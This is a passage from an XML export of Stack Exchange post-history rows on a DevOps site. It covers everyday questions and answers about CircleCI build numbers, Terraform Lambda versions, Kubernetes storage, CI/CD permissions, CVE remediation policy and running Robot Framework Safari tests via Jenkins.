  <row Id="27976" PostHistoryTypeId="2" PostId="9414" RevisionGUID="7bf8557a-814d-4ae5-8b70-1c9cb83c6c0a" CreationDate="2019-10-11T22:33:30.377" UserId="17583" Text="I use $CIRCLE_BUILD_NUM in different jobs in a workflow (but it seems like that get incremented in between jobs of the same workflow)?&#xD;&#xA;&#xD;&#xA;I did some research and it looks like I can switch to CIRCLE_WORKFLOW_ID which is unique for the workflow but then the ID is some really long string, not like the build num which is a small integer, nice that I can use to append to build numbers and docker tags and such.&#xD;&#xA;&#xD;&#xA;Any ideas?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27977" PostHistoryTypeId="1" PostId="9414" RevisionGUID="7bf8557a-814d-4ae5-8b70-1c9cb83c6c0a" CreationDate="2019-10-11T22:33:30.377" UserId="17583" Text="Anyone know how to use $CIRCLE_BUILD_NUM across different jobs in CircleCI?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27978" PostHistoryTypeId="3" PostId="9414" RevisionGUID="7bf8557a-814d-4ae5-8b70-1c9cb83c6c0a" CreationDate="2019-10-11T22:33:30.377" UserId="17583" Text="&lt;docker&gt;&lt;build-pipeline&gt;&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27979" PostHistoryTypeId="50" PostId="8002" RevisionGUID="158b50cb-7515-49ea-a99f-90f65faa4652" CreationDate="2019-10-11T23:02:30.360" UserId="-1" />
  <row Id="27980" PostHistoryTypeId="2" PostId="9415" RevisionGUID="9d10c8e9-4f59-4dcc-b2af-8f9a0c0bbb26" CreationDate="2019-10-11T23:50:02.293" UserId="11341" Text="simple dive..&#xD;&#xA;docker ps check the current running images..&#xD;&#xA;FROM ubuntu16&#xD;&#xA;MAINTAINER sreeni (email/domain)&#xD;&#xA;RUN apt-get update&#xD;&#xA;RUN apt-get install -y nginx&#xD;&#xA;ENTRYPOINT [“/usr/sbin/nginx”,”-g”,”daemon off;”]&#xD;&#xA;EXPOSE 80 (port)&#xD;&#xA;simple docker file...&#xD;&#xA;docker run -d -p 80:80 --name webserver ubuntu16(imagename)    after that check localhost or ip adress:80" ContentLicense="CC BY-SA 4.0" />
  <row Id="28017" PostHistoryTypeId="5" PostId="9414" RevisionGUID="9b4e418c-d11a-48ba-9aad-59a487249e10" CreationDate="2019-10-12T02:26:43.273" UserId="739" Comment="formatting code and copy edit" Text="I use `$CIRCLE_BUILD_NUM` in different jobs in a workflow (but it seems like that get incremented in between jobs of the same workflow)?&#xD;&#xA;&#xD;&#xA;I did some research and it looks like I can switch to `CIRCLE_WORKFLOW_ID` which is unique for the workflow but then the ID is some really long string, not like the build number which is a small integer, nice that I can use to append to build numbers and docker tags and such.&#xD;&#xA;&#xD;&#xA;Any ideas?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28018" PostHistoryTypeId="10" PostId="9403" RevisionGUID="d725a515-4e42-452c-ad29-bbc137c1c604" CreationDate="2019-10-12T05:15:39.860" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="28025" PostHistoryTypeId="50" PostId="4034" RevisionGUID="d55a86d7-3f9b-4b00-9e32-ca70c0b510a7" CreationDate="2019-10-12T16:02:10.313" UserId="-1" />
  <row Id="28026" PostHistoryTypeId="50" PostId="5100" RevisionGUID="4c25cb97-b845-4e78-a6a1-8b3d7a7e3f3b" CreationDate="2019-10-12T17:00:55.217" UserId="-1" />
  <row Id="28027" PostHistoryTypeId="50" PostId="5460" RevisionGUID="491f9e2d-e2ed-4760-a446-7139396b2d99" CreationDate="2019-10-12T18:00:39.080" UserId="-1" />
  <row Id="28039" PostHistoryTypeId="50" PostId="5827" RevisionGUID="9df48a64-debe-4159-b235-0886cd50ea72" CreationDate="2019-10-13T15:03:00.470" UserId="-1" />
  <row Id="28043" PostHistoryTypeId="50" PostId="5014" RevisionGUID="408be607-e40c-4bab-8449-70b46258dc72" CreationDate="2019-10-13T17:00:50.080" UserId="-1" />
  <row Id="28044" PostHistoryTypeId="2" PostId="9419" RevisionGUID="a5fb7bd3-57a3-4058-a97b-f5abeb4c21d5" CreationDate="2019-10-13T17:20:23.880" UserId="17592" Text="What's the cheapest database option on Azure that can be used with [Offline Data Sync][1]? I want to run a productive app on that, but I don't expect many users and as it's only sync I don't need ultra high performance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/app-service-mobile/app-service-mobile-offline-data-sync" ContentLicense="CC BY-SA 4.0" />
  <row Id="28045" PostHistoryTypeId="1" PostId="9419" RevisionGUID="a5fb7bd3-57a3-4058-a97b-f5abeb4c21d5" CreationDate="2019-10-13T17:20:23.880" UserId="17592" Text="Cheapest database option on Azure supporting Offline Data Sync / Azure Mobile Apps" ContentLicense="CC BY-SA 4.0" />
  <row Id="28046" PostHistoryTypeId="3" PostId="9419" RevisionGUID="a5fb7bd3-57a3-4058-a97b-f5abeb4c21d5" CreationDate="2019-10-13T17:20:23.880" UserId="17592" Text="&lt;azure&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28048" PostHistoryTypeId="50" PostId="9168" RevisionGUID="2808b51e-3541-428e-acd9-2694d29f8ee1" CreationDate="2019-10-14T04:04:30.810" UserId="-1" />
  <row Id="28049" PostHistoryTypeId="2" PostId="9420" RevisionGUID="3d28932a-53ba-4382-8c23-0442e38f27c0" CreationDate="2019-10-14T08:31:19.293" UserId="17556" Text="Eventually I just got rid of the group_vars all together.&#xD;&#xA;I specified a new role that includes several other roles with 'include_role:' and added the vars directly to those roles with inline-vault variables:&#xD;&#xA;&#xD;&#xA;    - name: include ipaclient&#xD;&#xA;      include_role:&#xD;&#xA;        name: ipaclient&#xD;&#xA;      vars:&#xD;&#xA;        my_user: user&#xD;&#xA;        my_password: !vault |&#xD;&#xA;              $ANSIBLE_VAULT;1.1;AES256&#xD;&#xA;              123456123456123456123456123456132456..." ContentLicense="CC BY-SA 4.0" />
  <row Id="28050" PostHistoryTypeId="2" PostId="9421" RevisionGUID="b13fe7aa-16b3-4bf2-bba1-a03280625b78" CreationDate="2019-10-14T09:28:22.050" UserId="17276" Text="Error: aws_lambda_function.test_lambda: &quot;version&quot;: this field cannot be set`resource &quot;aws_lambda_function&quot; &quot;test_lambda&quot; {&#xD;&#xA;  filename         = &quot;lambda_function.zip&quot;&#xD;&#xA;  function_name    = &quot;test_lambda&quot;&#xD;&#xA;  role             = &quot;${aws_iam_role.iam_for_lambda_tf.arn}&quot;&#xD;&#xA;  handler          = &quot;index.handler&quot;&#xD;&#xA;  source_code_hash = &quot;${data.archive_file.lambda_zip.output_base64sha256}&quot;&#xD;&#xA;  runtime          = &quot;python2.7&quot;&#xD;&#xA;  version          = &quot;1&quot;&#xD;&#xA;}`&#xD;&#xA;&#xD;&#xA;On plan I get the error &#xD;&#xA;Error: aws_lambda_function.test_lambda: &quot;version&quot;: this field cannot be set&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I couldn't find an aws_lambda_function_version resorce so presume you create versions using the lambda fuction resorce and specifying the version.&#xD;&#xA;&#xD;&#xA;I'm not sure what value I give to version to build versions of my lambda. &#xD;&#xA;&#xD;&#xA;Im tring to get it to work for one version for now as a first step. I plan on adding count to create multiple versions as my next step if I can get it to create one version first?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28051" PostHistoryTypeId="1" PostId="9421" RevisionGUID="b13fe7aa-16b3-4bf2-bba1-a03280625b78" CreationDate="2019-10-14T09:28:22.050" UserId="17276" Text="How do I create separate versions of lambda functions through terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28052" PostHistoryTypeId="3" PostId="9421" RevisionGUID="b13fe7aa-16b3-4bf2-bba1-a03280625b78" CreationDate="2019-10-14T09:28:22.050" UserId="17276" Text="&lt;aws-lambda&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28053" PostHistoryTypeId="5" PostId="9421" RevisionGUID="88a44644-78f7-480c-bacf-0c61af25906c" CreationDate="2019-10-14T09:44:15.150" UserId="17276" Comment="deleted 40 characters in body" Text="I'm Running Terraform v0.11.14 &#xD;&#xA;&#xD;&#xA;`resource &quot;aws_lambda_function&quot; &quot;test_lambda&quot; {&#xD;&#xA;  filename         = &quot;lambda_function.zip&quot;&#xD;&#xA;  function_name    = &quot;test_lambda&quot;&#xD;&#xA;  role             = &quot;${aws_iam_role.iam_for_lambda_tf.arn}&quot;&#xD;&#xA;  handler          = &quot;index.handler&quot;&#xD;&#xA;  source_code_hash = &quot;${data.archive_file.lambda_zip.output_base64sha256}&quot;&#xD;&#xA;  runtime          = &quot;python2.7&quot;&#xD;&#xA;  version          = &quot;1&quot;&#xD;&#xA;}`&#xD;&#xA;&#xD;&#xA;On plan I get the error &#xD;&#xA;Error: aws_lambda_function.test_lambda: &quot;version&quot;: this field cannot be set&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I couldn't find an aws_lambda_function_version resorce so presume you create versions using the lambda fuction resorce and specifying the version.&#xD;&#xA;&#xD;&#xA;I'm not sure what value I give to version to build versions of my lambda. &#xD;&#xA;&#xD;&#xA;Im tring to get it to work for one version for now as a first step. I plan on adding count to create multiple versions as my next step if I can get it to create one version first?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28054" PostHistoryTypeId="50" PostId="8894" RevisionGUID="9205b4a4-6df4-4a66-84b0-e891e5f96f3e" CreationDate="2019-10-14T10:02:40.500" UserId="-1" />
  <row Id="28055" PostHistoryTypeId="2" PostId="9422" RevisionGUID="72401d3d-abd5-4991-a323-a17315f21756" CreationDate="2019-10-14T10:23:20.800" UserId="17600" Text="TLDR Question;&#xD;&#xA;&#xD;&#xA;Is it possible to setup a CICD pipeline so that it executes with the permissions of the user who triggered the build? If so which tools support this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Full Question;&#xD;&#xA;&#xD;&#xA;Apologies if this is a naive question as I am new to CICD.  We are trying to setup a CICD pipeline for our project which requires access to a restricted database.  The issue we are facing is that each user on the project has different levels of access (which I believe is managed via LDAP) within the database (for example user A can access datasets X, Y &amp; Z  whilst user B can only access Z &amp; W). &#xD;&#xA;&#xD;&#xA;Due to the nature of our work, code is typically executed interactively (something we are trying to move away from) and such to execute any api that access the database users need to enter their username and password i.e. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;get_data(dataset = A, username = $USER, password=$PASSWORD)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Our challenge is thus how to enable the CICD pipeline to access these data-assets without accidentally enabling people to access data that they shouldn't have access to. &#xD;&#xA;&#xD;&#xA;I think the most obvious solution is to create a user account for the CICD tool itself, only giving it access to the datasets it needs and then embedding the username and password as secrets within the CICD tool. Our fear with this is that it then means that the project owner becomes responsible for ensuring that everyone with write access to the project has access to the data-assets that the project uses.  Given user permissions change fairly frequently (as does project ownership) this doesn't seem like the safest or most sustainable way of solving the problem.&#xD;&#xA;&#xD;&#xA;Ideally we are looking for a solution where the CICD tool executes with the same permissions as the user who triggered the build. Are there any tools that support this ? Or alternatively are there any different solutions that could solve our use-case? &#xD;&#xA;&#xD;&#xA;Any help/guidance/pointers would be greatly appreciated !" ContentLicense="CC BY-SA 4.0" />
  <row Id="28056" PostHistoryTypeId="1" PostId="9422" RevisionGUID="72401d3d-abd5-4991-a323-a17315f21756" CreationDate="2019-10-14T10:23:20.800" UserId="17600" Text="How to mange data access in a CICD pipeline for multiple users with different permissions" ContentLicense="CC BY-SA 4.0" />
  <row Id="28057" PostHistoryTypeId="3" PostId="9422" RevisionGUID="72401d3d-abd5-4991-a323-a17315f21756" CreationDate="2019-10-14T10:23:20.800" UserId="17600" Text="&lt;continuous-integration&gt;&lt;cicd&gt;&lt;role-based-access-control&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28058" PostHistoryTypeId="2" PostId="9423" RevisionGUID="d6eedd9c-b012-476e-a294-78133211b3d0" CreationDate="2019-10-14T10:25:53.497" UserId="17276" Text="I just needed to set&#xD;&#xA; &#xD;&#xA;publish = true&#xD;&#xA;&#xD;&#xA;I then enconter another issue for creating seprat versions but finding this answers my initial question " ContentLicense="CC BY-SA 4.0" />
  <row Id="28059" PostHistoryTypeId="2" PostId="9424" RevisionGUID="8f8dd5ff-9321-44ff-9d4d-b9c61122ae12" CreationDate="2019-10-14T10:58:59.187" UserId="397" Text="There is a natural tension here between:&#xD;&#xA;&#xD;&#xA;(a) **fixing something that is wrong automatically**: because for example, a CVE has been created with a high enough severity to need to do something about it.&#xD;&#xA;&#xD;&#xA;(b) **breaking the system**: because the automation introduced a breaking change or a defect.&#xD;&#xA;&#xD;&#xA;I have a tendency towards systems being under constant development, even if no features are being added to them they need to kept current to avoid exposure to vulnerabilities.   The rate of change to the 3rd party components of the majority of systems I cover is so high that's its actually worth rebuilding everything and redeploying it daily.&#xD;&#xA;&#xD;&#xA;This introduces a couple of requirements:&#xD;&#xA;&#xD;&#xA;  1. It is highly automated,&#xD;&#xA;  2. 99% of user journies are covered by end-to-end tests so each build has a high degree of confidence that it will work,&#xD;&#xA;  3. We don't roll out to all users, we employ [canary release][1] and a rollback mechanism,&#xD;&#xA;  4. We use version *constraints* in package manifests, etc... i.e. the `version of React must be &gt;= 16.7.1 and &lt; 17.0.0`&#xD;&#xA;  5. We manage by exception, i.e. if the end-to-end tests fail or the canary release fails humans get involved.&#xD;&#xA;&#xD;&#xA;This, in turn, makes systems like [trivy][2], [OWASP ZAP][3] and [SonarQube][4] more about generating metrics and stopping vulnerabilities from going live than triggering automated remediation.&#xD;&#xA;&#xD;&#xA;We do then have a set of rules like:&#xD;&#xA;&#xD;&#xA;  1. The live application must not have an unmitigated CVE with a CVSS score of 7.0 or higher.&#xD;&#xA;  2. The list of CVEs with a score of 4.0 or higher will be reviewed on a weekly basis to assess if remediation should be undertaken (i.e. change to a different library, introduce a new safeguard, remove a defunct library, fix the CVE at source, etc.)&#xD;&#xA;&#xD;&#xA;This then gives my SRE teams the operational boundaries to work within, they may in practice:&#xD;&#xA;&#xD;&#xA;1. just re-run the deployment ad-hoc to fix it **now** rather than within 24h,&#xD;&#xA;2. override a default, for example, if there is a known vulnerability deploy something with a less critical but still higher than CVSS 7.0 known vulnerability,&#xD;&#xA;3. Introduce a new safeguard, i.e. a Web Application Firewall Rule to mitigate,&#xD;&#xA;4. Swap out the dependency for something less vulnerable,&#xD;&#xA;5. Disable that functionality entirely until a fix can be introduced.&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/CanaryRelease.html&#xD;&#xA;  [2]: https://github.com/aquasecurity/trivy&#xD;&#xA;  [3]: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&#xD;&#xA;  [4]: https://www.sonarqube.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28061" PostHistoryTypeId="2" PostId="9426" RevisionGUID="be18ef66-dc98-457a-bac4-fd80aaafce57" CreationDate="2019-10-14T11:54:27.387" UserId="397" Text="My general experience is that CI/CD tools don't support [impersonation][1] or claims based authentication well or at-all. In addition you probably want the CI/CD tool to have **more** access than your users, because you want them to **only use the CI/CD tool** to change things.  &#xD;&#xA;&#xD;&#xA;The way I have handled this in the past, however, was as follows:&#xD;&#xA;&#xD;&#xA;1. Have the pipeline call the API of the CI/CD to find out who ran the pipeline&#xD;&#xA;2. Use this pipeline to look up the group's that the user is a member of this (i.e. in LDAP)&#xD;&#xA;3. If the member is of the appropriate group, continue. If not abort the build.&#xD;&#xA;&#xD;&#xA;It's quite important to **abort** rather than **fail** the build because then it differentiates between an invalid user running the build, and a valid using running a build which then fails.&#xD;&#xA;&#xD;&#xA;Another approach would be to sync LDAP groups with your CI/CD platform, and set permissions that way, although that may not give you the granularity you want.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.3pillarglobal.com/insights/controlling-access-by-using-impersonation" ContentLicense="CC BY-SA 4.0" />
  <row Id="28062" PostHistoryTypeId="2" PostId="9427" RevisionGUID="66b4a6b2-3a86-4e5a-8c90-09a8191e4d5d" CreationDate="2019-10-14T12:01:56.500" UserId="17606" Text="I have an application that relies on 4 docker data containers for the data it needs to run some tests. At the moment I have their docker-compose file and their images but I don't have access to the data containers Dockerfile or actual data.&#xD;&#xA;&#xD;&#xA;How this application works in docker-compose is as below: The application is called rtsp_server and it loads different volumes from the data containers such as st-andries4(I just wrote one of them).&#xD;&#xA;&#xD;&#xA;This is their docker-compose:&#xD;&#xA;```&#xD;&#xA;# The application&#xD;&#xA;rtsp_server:&#xD;&#xA;  image: rtsp_server_image&#xD;&#xA;  volumes_from:&#xD;&#xA;    - rtsp_data_st_andries4:ro&#xD;&#xA;  ports:&#xD;&#xA;    - &quot;8554:8554&quot;&#xD;&#xA;  command: python ./rtsp-server.py /rtsp_data/st-andries-4 st_andries_4&#xD;&#xA;&#xD;&#xA;# Data container&#xD;&#xA;rtsp_data_st_andries4:&#xD;&#xA;  image: st_andries_4:1&#xD;&#xA;  volumes:&#xD;&#xA;    - /rtsp_data/st-andries-4&#xD;&#xA;  command: /bin/true&#xD;&#xA;  mem_limit: 10000000000&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I already brought the application, rtsp_server, to Kubernetes and it works fine but I need to also bring the data containers to k8s but I don't know how to do it." ContentLicense="CC BY-SA 4.0" />
  <row Id="28063" PostHistoryTypeId="1" PostId="9427" RevisionGUID="66b4a6b2-3a86-4e5a-8c90-09a8191e4d5d" CreationDate="2019-10-14T12:01:56.500" UserId="17606" Text="How to bring a docker data container to Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28064" PostHistoryTypeId="3" PostId="9427" RevisionGUID="66b4a6b2-3a86-4e5a-8c90-09a8191e4d5d" CreationDate="2019-10-14T12:01:56.500" UserId="17606" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28069" PostHistoryTypeId="2" PostId="9429" RevisionGUID="e010faaa-9602-49b1-b103-42e37f277764" CreationDate="2019-10-14T13:37:44.433" UserId="17606" Text="I have two questions regarding K8s storage:&#xD;&#xA;&#xD;&#xA;1. Can I set up an NFS server on one of the worker nodes in a bare-metal cluster?&#xD;&#xA;2. I am running different versions of our application which consists of different components on different namespaces. If I want to use StorageOS do I need to install one StorageOS per namespace?&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="28070" PostHistoryTypeId="1" PostId="9429" RevisionGUID="e010faaa-9602-49b1-b103-42e37f277764" CreationDate="2019-10-14T13:37:44.433" UserId="17606" Text="Questions regarding Kubernetes storage" ContentLicense="CC BY-SA 4.0" />
  <row Id="28071" PostHistoryTypeId="3" PostId="9429" RevisionGUID="e010faaa-9602-49b1-b103-42e37f277764" CreationDate="2019-10-14T13:37:44.433" UserId="17606" Text="&lt;kubernetes&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28072" PostHistoryTypeId="2" PostId="9430" RevisionGUID="e53c118a-53b6-4ff0-a1df-f354bdc6f2be" CreationDate="2019-10-14T14:38:21.463" UserId="17609" Text="I got about 1w spent on trying to make my Robot Framework tests work for Safari browser in MacOS when launched by Jenkins (via ssh). I stopped trying and falled back to a workaround.&#xD;&#xA;The main issue is Robot just can't open a browser when executed in ssh session reporting &quot;No browser is open&quot;.&#xD;&#xA;&#xD;&#xA;MacOS 10.12.6 Sierra (issue was there also with 10.14 Mojave)&#xD;&#xA;Safari 12.1.2 (issue was there also with Safari 10)&#xD;&#xA;Robot Framework 3.1.2 (Python 3.6.8 / Python 2.7.16)&#xD;&#xA;&#xD;&#xA;My current workaround is:&#xD;&#xA;&#xD;&#xA; 1. Application &quot;robot_test&quot; created (in Automator based on sh script type) which is to launch sh script and save exit code:&#xD;&#xA;&#xD;&#xA;&gt;     /tmp/execute_test.sh &gt; /tmp/execute_test.log 2&gt;&amp;1 &#xD;&#xA;&gt;     echo &quot;export EXITCODE=$?&quot; &gt; /tmp/execute_test.result&#xD;&#xA;&#xD;&#xA; 2. On Jenkins side in shell command section I am creating an sh script with the contents I need, execute it and wait for result file to appear:&#xD;&#xA;&#xD;&#xA;&gt;     export CURRENT_FOLDER=`pwd`&#xD;&#xA;&gt;     echo &quot;#!/bin/bash&#xD;&#xA;&gt;     ~/.bash_profile&#xD;&#xA;&gt;     cd $CURRENT_FOLDER&#xD;&#xA;&gt;     python3 -m robot -parameters robot_script.robot&#xD;&#xA;&gt;     &quot; &gt; /tmp/execute_test.sh&#xD;&#xA;&gt;     chmod +x /tmp/execute_test.sh&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     rm -f /tmp/execute_test.result&#xD;&#xA;&gt;     MAX_WAIT_TIME=1200&#xD;&#xA;&gt;     WAIT_TIME=0&#xD;&#xA;&gt;     open -a robot_test &gt; /tmp/robot_test_app.log 2&gt;&amp;1&#xD;&#xA;&gt;     while [ ! -f /tmp/execute_test.result ] &amp;&amp; [ $WAIT_TIME -le $MAX_WAIT_TIME ]; do&#xD;&#xA;&gt;         WAIT_TIME=$((WAIT_TIME+10)); sleep 10&#xD;&#xA;&gt;     done&#xD;&#xA;&gt;     cat /tmp/execute_test.log&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     EXITCODE=1&#xD;&#xA;&gt;     if [ -f /tmp/execute_test.result ]; then&#xD;&#xA;&gt;         chmod +x /tmp/execute_test.result&#xD;&#xA;&gt;         source /tmp/execute_test.result&#xD;&#xA;&gt;     fi&#xD;&#xA;&gt;     exit $EXITCODE&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Am I the only one having problems with running robot test from ssh sessions in MacOS? &#xD;&#xA;If yes, could you please share you steps to configure the proper setup?&#xD;&#xA;If no, then this post might be helpful for someone to have working configuration at least, please share your solutions/workarounds if they are better&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28073" PostHistoryTypeId="1" PostId="9430" RevisionGUID="e53c118a-53b6-4ff0-a1df-f354bdc6f2be" CreationDate="2019-10-14T14:38:21.463" UserId="17609" Text="Safari test automation using Robot Framework via Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="28074" PostHistoryTypeId="3" PostId="9430" RevisionGUID="e53c118a-53b6-4ff0-a1df-f354bdc6f2be" CreationDate="2019-10-14T14:38:21.463" UserId="17609" Text="&lt;jenkins&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28078" PostHistoryTypeId="2" PostId="9432" RevisionGUID="b0fc7b48-c649-442a-ba56-da184bd31e4b" CreationDate="2019-10-14T14:53:23.377" UserId="15792" Text="You'll want to look through the Kubernetes [Volume documentation][1] to see what options are available.&#xD;&#xA;&#xD;&#xA;In particular look into the [PersistentVolumeClaim][2].  This allows you to setup a shared data volume for your pods.  Here's an example snippet from a k8s deployment YAML using a volume:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: **yourdbcontainer**&#xD;&#xA;        name: mysql-db&#xD;&#xA;        env:&#xD;&#xA;        - name: example&#xD;&#xA;          value: example_value&#xD;&#xA;        ports:&#xD;&#xA;        - containerPort: 3306&#xD;&#xA;          name: mysql-db&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - name: mysql-persistent-storage&#xD;&#xA;          mountPath: /var/lib/mysql&#xD;&#xA;      volumes:&#xD;&#xA;      - name: mysql-persistent-storage&#xD;&#xA;        persistentVolumeClaim:&#xD;&#xA;          claimName: mysql-pv-claim&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/storage/volumes/&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/storage/volumes/#persistentvolumeclaim" ContentLicense="CC BY-SA 4.0" />
  <row Id="28081" PostHistoryTypeId="2" PostId="9433" RevisionGUID="c2c343ea-2f48-4b82-b5d6-614927d90d32" CreationDate="2019-10-14T15:18:35.260" UserId="2678" Text="This command works: `kubectl get CustomResourceDefinition | awk '{ print $1 }'&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;You can use `-o yaml` or `-o json`" ContentLicense="CC BY-SA 4.0" />
  <row Id="28082" PostHistoryTypeId="2" PostId="9434" RevisionGUID="40de7f68-85a4-4cdd-ba51-6ade25404ce5" CreationDate="2019-10-14T17:11:35.877" UserId="15792" Text=" 1. Yes.  Check out [this example][1] for a nice tutorial to get started.&#xD;&#xA; 2. Per the StorageOS [documentation][2] you shouldn't even have to worry about this.  Just let StorageOS handle the namespaces for you with one StorageOS install.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://matthewpalmer.net/kubernetes-app-developer/articles/kubernetes-volumes-example-nfs-persistent-volume.html&#xD;&#xA;  [2]: https://docs.storageos.com/docs/concepts/namespaces" ContentLicense="CC BY-SA 4.0" />
  <row Id="28090" PostHistoryTypeId="2" PostId="9437" RevisionGUID="7548459a-b146-435a-89e2-84eeaca067af" CreationDate="2019-10-15T02:11:07.963" UserId="15792" Text="Most CI/CD tooling will support permissions of some sort.  For example: &#xD;&#xA;&#xD;&#xA; - All of AWS CI/CD tooling supports limiting permissions via [IAM][1].  IAM also ties into AD which would give you that SSO (single sign on) feel.  Virtually every major cloud provider will have equivalent permission based functionality (e.g. Azure, Google Cloud).&#xD;&#xA; - [Bamboo][2] supports limiting who can edit, view, and run builds and deployments.  It also supports defining global or plan variables and limiting who has access to viewing those variables.  I'm sure similar functionality exists in [Jenkins][3].&#xD;&#xA; - Most CI/CD tools can be setup to trigger based on Pull Requests.  This allows only admins access to the build details while the developers can trigger builds automatically.&#xD;&#xA;&#xD;&#xA;Since you are specifically looking for a strategy where the person who triggers the build has specific permissions, a [Pull Request][4] workflow combined with permissions roles be what you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/iam/&#xD;&#xA;  [2]: https://www.atlassian.com/software/bamboo&#xD;&#xA;  [3]: https://wiki.jenkins.io/display/JENKINS/Matrix-based+security&#xD;&#xA;  [4]: https://www.atlassian.com/git/tutorials/making-a-pull-request" ContentLicense="CC BY-SA 4.0" />
  <row Id="28092" PostHistoryTypeId="2" PostId="9438" RevisionGUID="f9b1bc1f-c9f3-4764-8295-eb77e63f34d4" CreationDate="2019-10-15T07:42:18.520" UserId="17425" Text="What is the best solution for java code develop? Make my [own git server][1] and that's it? Developers (Linux, Mac, Windows) are working on their local computers, then they are using my own git server I mentioned before.&#xD;&#xA;&#xD;&#xA;Or Jenkins with Maven is better solution? What is benefit?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.linux.com/tutorials/how-run-your-own-git-server/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28093" PostHistoryTypeId="1" PostId="9438" RevisionGUID="f9b1bc1f-c9f3-4764-8295-eb77e63f34d4" CreationDate="2019-10-15T07:42:18.520" UserId="17425" Text="Best solution for code develop" ContentLicense="CC BY-SA 4.0" />
  <row Id="28094" PostHistoryTypeId="3" PostId="9438" RevisionGUID="f9b1bc1f-c9f3-4764-8295-eb77e63f34d4" CreationDate="2019-10-15T07:42:18.520" UserId="17425" Text="&lt;jenkins&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28095" PostHistoryTypeId="5" PostId="9430" RevisionGUID="ab0c19a0-568a-4616-8cf7-dfb14c8a1c6e" CreationDate="2019-10-15T07:46:50.487" UserId="354" Comment="Add testing tag and clean up formatting and grammar." Text="I spent about one week trying to make my Robot Framework tests work for Safari browser in MacOS, when launched by Jenkins via ssh.&#xD;&#xA;&#xD;&#xA;The main issue was that Robot couldn't open a browser when executed in ssh session, reporting &quot;No browser is open&quot;.&#xD;&#xA;&#xD;&#xA;- MacOS 10.12.6 Sierra (issue was there also with 10.14 Mojave)&#xD;&#xA;- Safari 12.1.2 (issue was there also with Safari 10)&#xD;&#xA;- Robot Framework 3.1.2 (Python 3.6.8 / Python 2.7.16)&#xD;&#xA;&#xD;&#xA;My current workaround is:&#xD;&#xA;&#xD;&#xA;1. Application &quot;robot_test&quot; created (in Automator based on shell script type) which is to launch a shell script and save the exit code:&#xD;&#xA;```bash&#xD;&#xA;/tmp/execute_test.sh &gt; /tmp/execute_test.log 2&gt;&amp;1 &#xD;&#xA;echo &quot;export EXITCODE=$?&quot; &gt; /tmp/execute_test.result&#xD;&#xA;```&#xD;&#xA;2. On the Jenkins side, in the shell command section, I am creating an shell script with the contents I need, execute it and wait for result file to appear:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;export CURRENT_FOLDER=`pwd`&#xD;&#xA;echo &quot;#!/bin/bash&#xD;&#xA;~/.bash_profile&#xD;&#xA;cd $CURRENT_FOLDER&#xD;&#xA;python3 -m robot -parameters robot_script.robot&#xD;&#xA;&quot; &gt; /tmp/execute_test.sh&#xD;&#xA;chmod +x /tmp/execute_test.sh     &#xD;&#xA;rm -f /tmp/execute_test.result&#xD;&#xA;MAX_WAIT_TIME=1200&#xD;&#xA;WAIT_TIME=0&#xD;&#xA;open -a robot_test &gt; /tmp/robot_test_app.log 2&gt;&amp;1&#xD;&#xA;while [ ! -f /tmp/execute_test.result ] &amp;&amp; [ $WAIT_TIME -le $MAX_WAIT_TIME ]; do&#xD;&#xA;  WAIT_TIME=$((WAIT_TIME+10)); sleep 10&#xD;&#xA;done&#xD;&#xA;cat /tmp/execute_test.log&#xD;&#xA;     &#xD;&#xA;EXITCODE=1&#xD;&#xA;if [ -f 